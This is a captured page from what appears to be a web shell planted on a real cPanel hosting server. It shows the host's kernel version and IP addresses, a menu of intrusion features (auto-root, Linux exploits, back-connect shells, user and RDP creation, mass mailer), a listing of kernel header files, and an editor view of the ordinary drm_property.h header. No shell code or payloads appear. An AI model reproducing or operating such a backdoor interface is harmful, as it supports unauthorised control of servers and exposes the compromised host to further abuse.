Linux cpanel.rrshost.in 5.15.0-25-generic #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 x86_64
Apache
: 109.123.238.221 | : 172.70.126.87
128 Domain
8.2.28
aev999
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
src /
linux-headers-5.15.0-25 /
include /
drm /
[ HOME SHELL ]
Name
Size
Permission
Action
bridge
[ DIR ]
drwxr-xr-x
i2c
[ DIR ]
drwxr-xr-x
ttm
[ DIR ]
drwxr-xr-x
amd_asic_type.h
2.15
KB
-rw-r--r--
drm_aperture.h
1.13
KB
-rw-r--r--
drm_atomic.h
40.7
KB
-rw-r--r--
drm_atomic_helper.h
9.27
KB
-rw-r--r--
drm_atomic_state_helper.h
4.21
KB
-rw-r--r--
drm_atomic_uapi.h
2.17
KB
-rw-r--r--
drm_audio_component.h
3.79
KB
-rw-r--r--
drm_auth.h
4.64
KB
-rw-r--r--
drm_blend.h
2.35
KB
-rw-r--r--
drm_bridge.h
33.19
KB
-rw-r--r--
drm_bridge_connector.h
548
B
-rw-r--r--
drm_cache.h
3.01
KB
-rw-r--r--
drm_client.h
4.94
KB
-rw-r--r--
drm_color_mgmt.h
3.79
KB
-rw-r--r--
drm_connector.h
55.15
KB
-rw-r--r--
drm_crtc.h
44.48
KB
-rw-r--r--
drm_crtc_helper.h
2.39
KB
-rw-r--r--
drm_damage_helper.h
3.33
KB
-rw-r--r--
drm_debugfs.h
3.4
KB
-rw-r--r--
drm_debugfs_crc.h
2.66
KB
-rw-r--r--
drm_device.h
8.52
KB
-rw-r--r--
drm_displayid.h
3.32
KB
-rw-r--r--
drm_dp_aux_bus.h
1.7
KB
-rw-r--r--
drm_dp_dual_mode_helper.h
4.62
KB
-rw-r--r--
drm_dp_helper.h
87.62
KB
-rw-r--r--
drm_dp_mst_helper.h
27.73
KB
-rw-r--r--
drm_drv.h
18.67
KB
-rw-r--r--
drm_dsc.h
16.29
KB
-rw-r--r--
drm_edid.h
17.16
KB
-rw-r--r--
drm_encoder.h
10.64
KB
-rw-r--r--
drm_encoder_slave.h
6.44
KB
-rw-r--r--
drm_fb_cma_helper.h
575
B
-rw-r--r--
drm_fb_helper.h
12.71
KB
-rw-r--r--
drm_file.h
12.12
KB
-rw-r--r--
drm_fixed.h
4.71
KB
-rw-r--r--
drm_flip_work.h
3.01
KB
-rw-r--r--
drm_format_helper.h
1.49
KB
-rw-r--r--
drm_fourcc.h
9.7
KB
-rw-r--r--
drm_framebuffer.h
10.4
KB
-rw-r--r--
drm_gem.h
11.8
KB
-rw-r--r--
drm_gem_atomic_helper.h
4.61
KB
-rw-r--r--
drm_gem_cma_helper.h
6.83
KB
-rw-r--r--
drm_gem_framebuffer_helper.h
2.06
KB
-rw-r--r--
drm_gem_shmem_helper.h
4.23
KB
-rw-r--r--
drm_gem_ttm_helper.h
861
B
-rw-r--r--
drm_gem_vram_helper.h
6.17
KB
-rw-r--r--
drm_hashtab.h
3.01
KB
-rw-r--r--
drm_hdcp.h
8.79
KB
-rw-r--r--
drm_ioctl.h
6.23
KB
-rw-r--r--
drm_lease.h
1010
B
-rw-r--r--
drm_legacy.h
9.26
KB
-rw-r--r--
drm_managed.h
3.35
KB
-rw-r--r--
drm_mipi_dbi.h
4.72
KB
-rw-r--r--
drm_mipi_dsi.h
10.79
KB
-rw-r--r--
drm_mm.h
17.5
KB
-rw-r--r--
drm_mode_config.h
32.24
KB
-rw-r--r--
drm_mode_object.h
5.17
KB
-rw-r--r--
drm_modes.h
18.18
KB
-rw-r--r--
drm_modeset_helper.h
1.77
KB
-rw-r--r--
drm_modeset_helper_vtables.h
55.98
KB
-rw-r--r--
drm_modeset_lock.h
6.8
KB
-rw-r--r--
drm_of.h
4.11
KB
-rw-r--r--
drm_panel.h
6.26
KB
-rw-r--r--
drm_pciids.h
66.47
KB
-rw-r--r--
drm_plane.h
28.48
KB
-rw-r--r--
drm_plane_helper.h
1.75
KB
-rw-r--r--
drm_prime.h
4.07
KB
-rw-r--r--
drm_print.h
16.09
KB
-rw-r--r--
drm_probe_helper.h
848
B
-rw-r--r--
drm_property.h
11.76
KB
-rw-r--r--
drm_rect.h
6.86
KB
-rw-r--r--
drm_scdc_helper.h
4.34
KB
-rw-r--r--
drm_self_refresh_helper.h
594
B
-rw-r--r--
drm_simple_kms_helper.h
8.91
KB
-rw-r--r--
drm_syncobj.h
3.85
KB
-rw-r--r--
drm_sysfs.h
442
B
-rw-r--r--
drm_util.h
2.58
KB
-rw-r--r--
drm_utils.h
504
B
-rw-r--r--
drm_vblank.h
9.04
KB
-rw-r--r--
drm_vblank_work.h
1.91
KB
-rw-r--r--
drm_vma_manager.h
8.15
KB
-rw-r--r--
drm_writeback.h
4.05
KB
-rw-r--r--
gma_drm.h
413
B
-rw-r--r--
gpu_scheduler.h
15.44
KB
-rw-r--r--
gud.h
11.58
KB
-rw-r--r--
i915_component.h
1.76
KB
-rw-r--r--
i915_drm.h
3.6
KB
-rw-r--r--
i915_mei_hdcp_interface.h
5.76
KB
-rw-r--r--
i915_pciids.h
21.38
KB
-rw-r--r--
intel-gtt.h
996
B
-rw-r--r--
intel_lpe_audio.h
1.72
KB
-rw-r--r--
spsc_queue.h
3.06
KB
-rw-r--r--
task_barrier.h
2.95
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : drm_property.h
/* * Copyright (c) 2016 Intel Corporation * * Permission to use, copy, modify, distribute, and sell this software and its * documentation for any purpose is hereby granted without fee, provided that * the above copyright notice appear in all copies and that both that copyright * notice and this permission notice appear in supporting documentation, and * that the name of the copyright holders not be used in advertising or * publicity pertaining to distribution of the software without specific, * written prior permission. The copyright holders make no representations * about the suitability of this software for any purpose. It is provided "as * is" without express or implied warranty. * * THE COPYRIGHT HOLDERS DISCLAIM ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, * INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO * EVENT SHALL THE COPYRIGHT HOLDERS BE LIABLE FOR ANY SPECIAL, INDIRECT OR * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, * DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER * TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE * OF THIS SOFTWARE. */ #ifndef __DRM_PROPERTY_H__ #define __DRM_PROPERTY_H__ #include <linux/list.h> #include <linux/ctype.h> #include <drm/drm_mode_object.h> #include <uapi/drm/drm_mode.h> /** * struct drm_property_enum - symbolic values for enumerations * @head: list of enum values, linked to &drm_property.enum_list * @name: symbolic name for the enum * * For enumeration and bitmask properties this structure stores the symbolic * decoding for each value. This is used for example for the rotation property. */ struct drm_property_enum { /** * @value: numeric property value for this enum entry * * If the property has the type &DRM_MODE_PROP_BITMASK, @value stores a * bitshift, not a bitmask. In other words, the enum entry is enabled * if the bit number @value is set in the property's value. This enum * entry has the bitmask ``1 << value``. */ uint64_t value; struct list_head head; char name[DRM_PROP_NAME_LEN]; }; /** * struct drm_property - modeset object property * * This structure represent a modeset object property. It combines both the name * of the property with the set of permissible values. This means that when a * driver wants to use a property with the same name on different objects, but * with different value ranges, then it must create property for each one. An * example would be rotation of &drm_plane, when e.g. the primary plane cannot * be rotated. But if both the name and the value range match, then the same * property structure can be instantiated multiple times for the same object. * Userspace must be able to cope with this and cannot assume that the same * symbolic property will have the same modeset object ID on all modeset * objects. * * Properties are created by one of the special functions, as explained in * detail in the @flags structure member. * * To actually expose a property it must be attached to each object using * drm_object_attach_property(). Currently properties can only be attached to * &drm_connector, &drm_crtc and &drm_plane. * * Properties are also used as the generic metadatatransport for the atomic * IOCTL. Everything that was set directly in structures in the legacy modeset * IOCTLs (like the plane source or destination windows, or e.g. the links to * the CRTC) is exposed as a property with the DRM_MODE_PROP_ATOMIC flag set. */ struct drm_property { /** * @head: per-device list of properties, for cleanup. */ struct list_head head; /** * @base: base KMS object */ struct drm_mode_object base; /** * @flags: * * Property flags and type. A property needs to be one of the following * types: * * DRM_MODE_PROP_RANGE * Range properties report their minimum and maximum admissible unsigned values. * The KMS core verifies that values set by application fit in that * range. The range is unsigned. Range properties are created using * drm_property_create_range(). * * DRM_MODE_PROP_SIGNED_RANGE * Range properties report their minimum and maximum admissible unsigned values. * The KMS core verifies that values set by application fit in that * range. The range is signed. Range properties are created using * drm_property_create_signed_range(). * * DRM_MODE_PROP_ENUM * Enumerated properties take a numerical value that ranges from 0 to * the number of enumerated values defined by the property minus one, * and associate a free-formed string name to each value. Applications * can retrieve the list of defined value-name pairs and use the * numerical value to get and set property instance values. Enum * properties are created using drm_property_create_enum(). * * DRM_MODE_PROP_BITMASK * Bitmask properties are enumeration properties that additionally * restrict all enumerated values to the 0..63 range. Bitmask property * instance values combine one or more of the enumerated bits defined * by the property. Bitmask properties are created using * drm_property_create_bitmask(). * * DRM_MODE_PROP_OBJECT * Object properties are used to link modeset objects. This is used * extensively in the atomic support to create the display pipeline, * by linking &drm_framebuffer to &drm_plane, &drm_plane to * &drm_crtc and &drm_connector to &drm_crtc. An object property can * only link to a specific type of &drm_mode_object, this limit is * enforced by the core. Object properties are created using * drm_property_create_object(). * * Object properties work like blob properties, but in a more * general fashion. They are limited to atomic drivers and must have * the DRM_MODE_PROP_ATOMIC flag set. * * DRM_MODE_PROP_BLOB * Blob properties store a binary blob without any format restriction. * The binary blobs are created as KMS standalone objects, and blob * property instance values store the ID of their associated blob * object. Blob properties are created by calling * drm_property_create() with DRM_MODE_PROP_BLOB as the type. * * Actual blob objects to contain blob data are created using * drm_property_create_blob(), or through the corresponding IOCTL. * * Besides the built-in limit to only accept blob objects blob * properties work exactly like object properties. The only reasons * blob properties exist is backwards compatibility with existing * userspace. * * In addition a property can have any combination of the below flags: * * DRM_MODE_PROP_ATOMIC * Set for properties which encode atomic modeset state. Such * properties are not exposed to legacy userspace. * * DRM_MODE_PROP_IMMUTABLE * Set for properties whose values cannot be changed by * userspace. The kernel is allowed to update the value of these * properties. This is generally used to expose probe state to * userspace, e.g. the EDID, or the connector path property on DP * MST sinks. Kernel can update the value of an immutable property * by calling drm_object_property_set_value(). */ uint32_t flags; /** * @name: symbolic name of the properties */ char name[DRM_PROP_NAME_LEN]; /** * @num_values: size of the @values array. */ uint32_t num_values; /** * @values: * * Array with limits and values for the property. The * interpretation of these limits is dependent upon the type per @flags. */ uint64_t *values; /** * @dev: DRM device */ struct drm_device *dev; /** * @enum_list: * * List of &drm_prop_enum_list structures with the symbolic names for * enum and bitmask values. */ struct list_head enum_list; }; /** * struct drm_property_blob - Blob data for &drm_property * @base: base KMS object * @dev: DRM device * @head_global: entry on the global blob list in * &drm_mode_config.property_blob_list. * @head_file: entry on the per-file blob list in &drm_file.blobs list. * @length: size of the blob in bytes, invariant over the lifetime of the object * @data: actual data, embedded at the end of this structure * * Blobs are used to store bigger values than what fits directly into the 64 * bits available for a &drm_property. * * Blobs are reference counted using drm_property_blob_get() and * drm_property_blob_put(). They are created using drm_property_create_blob(). */ struct drm_property_blob { struct drm_mode_object base; struct drm_device *dev; struct list_head head_global; struct list_head head_file; size_t length; void *data; }; struct drm_prop_enum_list { int type; const char *name; }; #define obj_to_property(x) container_of(x, struct drm_property, base) #define obj_to_blob(x) container_of(x, struct drm_property_blob, base) /** * drm_property_type_is - check the type of a property * @property: property to check * @type: property type to compare with * * This is a helper function becauase the uapi encoding of property types is * a bit special for historical reasons. */ static inline bool drm_property_type_is(struct drm_property *property, uint32_t type) { /* instanceof for props.. handles extended type vs original types: */ if (property->flags & DRM_MODE_PROP_EXTENDED_TYPE) return (property->flags & DRM_MODE_PROP_EXTENDED_TYPE) == type; return property->flags & type; } struct drm_property *drm_property_create(struct drm_device *dev, u32 flags, const char *name, int num_values); struct drm_property *drm_property_create_enum(struct drm_device *dev, u32 flags, const char *name, const struct drm_prop_enum_list *props, int num_values); struct drm_property *drm_property_create_bitmask(struct drm_device *dev, u32 flags, const char *name, const struct drm_prop_enum_list *props, int num_props, uint64_t supported_bits); struct drm_property *drm_property_create_range(struct drm_device *dev, u32 flags, const char *name, uint64_t min, uint64_t max); struct drm_property *drm_property_create_signed_range(struct drm_device *dev, u32 flags, const char *name, int64_t min, int64_t max); struct drm_property *drm_property_create_object(struct drm_device *dev, u32 flags, const char *name, uint32_t type); struct drm_property *drm_property_create_bool(struct drm_device *dev, u32 flags, const char *name); int drm_property_add_enum(struct drm_property *property, uint64_t value, const char *name); void drm_property_destroy(struct drm_device *dev, struct drm_property *property); struct drm_property_blob *drm_property_create_blob(struct drm_device *dev, size_t length, const void *data); struct drm_property_blob *drm_property_lookup_blob(struct drm_device *dev, uint32_t id); int drm_property_replace_global_blob(struct drm_device *dev, struct drm_property_blob **replace, size_t length, const void *data, struct drm_mode_object *obj_holds_id, struct drm_property *prop_holds_id); bool drm_property_replace_blob(struct drm_property_blob **blob, struct drm_property_blob *new_blob); struct drm_property_blob *drm_property_blob_get(struct drm_property_blob *blob); void drm_property_blob_put(struct drm_property_blob *blob); /** * drm_property_find - find property object * @dev: DRM device * @file_priv: drm file to check for lease against. * @id: property object id * * This function looks up the property object specified by id and returns it. */ static inline struct drm_property *drm_property_find(struct drm_device *dev, struct drm_file *file_priv, uint32_t id) { struct drm_mode_object *mo; mo = drm_mode_object_find(dev, file_priv, id, DRM_MODE_OBJECT_PROPERTY); return mo ? obj_to_property(mo) : NULL; } #endif
Close